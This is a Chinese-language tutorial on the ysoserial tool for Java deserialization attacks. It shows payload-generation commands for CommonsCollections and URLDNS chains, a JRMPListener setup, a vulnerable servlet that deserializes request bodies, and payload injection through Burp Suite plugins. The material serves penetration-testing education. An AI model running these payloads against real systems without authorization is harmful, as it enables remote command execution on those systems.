Java安全篇(2)-ysoserial使用
Ysoserial工具简介与安装
ysoserial是一款用来生成Java反序列化漏洞payload的验证工具,其中内置了多种常见的库中的gadget chain,可以直接通过命令和链类型生成序列化数据,一旦目标应用不安全地反序列化这些数据就会触发命令执行。
ysoserial项目地址:https://github.com/frohoff/ysoserial
下载预编译 JAR:访问 GitHub Releases,下载如 ysoserial-all.jar 等可执行 JAR 文件(无需编译)。
从源码编译:使用 git clone https://github.com/frohoff/ysoserial.git 拉取源码,然后进入目录运行
mvn clean package -DskipTests
编译,生成可执行 JAR 。
安装完成后,即可使用 java -jar ysoserial.jar 查看帮助,出现Payload列表即表示安装成功
使用方法
使用 Yoserial 生成 payload 的基本方法是调用其主类:
1 | java -jar ysoserial-all.jar [Payload类型] '[命令]' > payload.bin |
其中 [Payload类型] 是 Yoserial 支持的链名,如 CommonsCollections1/2/3/4/5/6/7、CommonsBeanutils1、URLDNS 等 。例如:
1 | java -jar ysoserial.jar CommonsCollections1 "id" > cc1_payload.bin |
上例分别生成了执行 id 和 whoami 的 CommonsCollections1 和 CommonsBeanutils1 链的 payload
除了直接生成文件,Yoserial 还支持交互式模式(常见于 RMI 攻击):使用其 exploit 子类启动监听端口,如:
1 | java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'mkdir /tmp/test' |
上面命令启动一个 JRMPListener 在 1099 端口监听,当有客户端连接时,它会发送 CommonsCollections1 链的 payload 来执行 mkdir /tmp/test 。然后攻击者在自己的机器上使用 JRMPClient payload 触发监听即可。
常见的另一种无依赖探测链是 URLDNS,它无需目标有特定库,只要反序列化就会触发对指定域名的 DNS 请求,非常适合初步探测:
1 | java -jar ysoserial.jar URLDNS http://your.dnslog.domain > urldns_payload.bin |
漏洞利用示例
假设有一个 Java Web 服务(如 DemoServlet)的 POST 接口对请求体进行了反序列化操作,例如:
1 | protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException { |
如上代码直接对接收到的请求体反序列化,对攻击者完全开放。在这种情况下,我们可以用 Yoserial 构造一个 payload 并发送过去。假设使用 CommonsCollections1 链执行命令 touch /tmp/success,生成 payload 文件:
1 | java -jar ysoserial.jar CommonsCollections1 "touch /tmp/success" > poc.ser |
与 Burp Suite 结合使用
参考:https://www.anquanke.com/post/id/83571
在实际渗透测试中,可以借助 Burp Suite 拦截并修改请求,将 ysoserial 生成的 payload 注入其中。一种简单方法是:先用命令行生成 payload 文件,然后在 Burp 的 Repeater 或 Intruder 中打开目标请求,在请求体或 Cookie 等位置右键选择 “Paste from file” 将 payload 导入 。
还可以使用 Burp 插件(如“Java Serial Killer”)自动化生成并注入 payload。例如安装该插件后,在拦截到的 HTTP 请求上右键选择 “Send to Java Serial Killer” 。插件会打开一个交互界面,让我们选择 payload 类型并输入要执行的命令。点击“Serialize”按钮后,插件会在请求中直接替换为序列化后的 payload,然后发送出去。
使用插件后,可在插件面板选择 CommonsCollections1 等 payload 类型并输入命令(如 ping),序列化后点击“Go”发送,结果会在响应面板显示 。这样可以无需切换命令行,直接在 Burp 内完成 payload 生成与注入。